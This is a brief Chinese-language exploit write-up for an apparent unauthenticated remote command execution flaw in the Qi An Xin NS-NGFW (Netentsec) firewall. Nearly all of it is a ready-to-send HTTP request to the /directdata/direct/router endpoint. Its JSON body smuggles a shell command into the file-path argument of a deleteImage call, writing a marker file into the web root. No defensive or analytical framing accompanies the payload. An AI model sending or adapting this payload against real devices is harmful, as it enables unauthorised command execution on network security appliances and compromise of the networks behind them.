奇安信NS-NGFW 網康防火牆前臺RCE漏洞

漏洞利用

漏洞位置：

http://xx.xx.xx.xx/directdata/direct/router

RequestHeader

Host: X.X.X.X
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15(KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 155
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

RequestBody

{
    "action": "SSLVPN_Resource",
    "method": "deleteImage",
    "data":[{
    	"data":["/var/www/html/b.txt;echo'fa3a6469'>/var/www/html/fa3a6.txt"]
    }],
    "type": "rpc",
    "tid": 17

}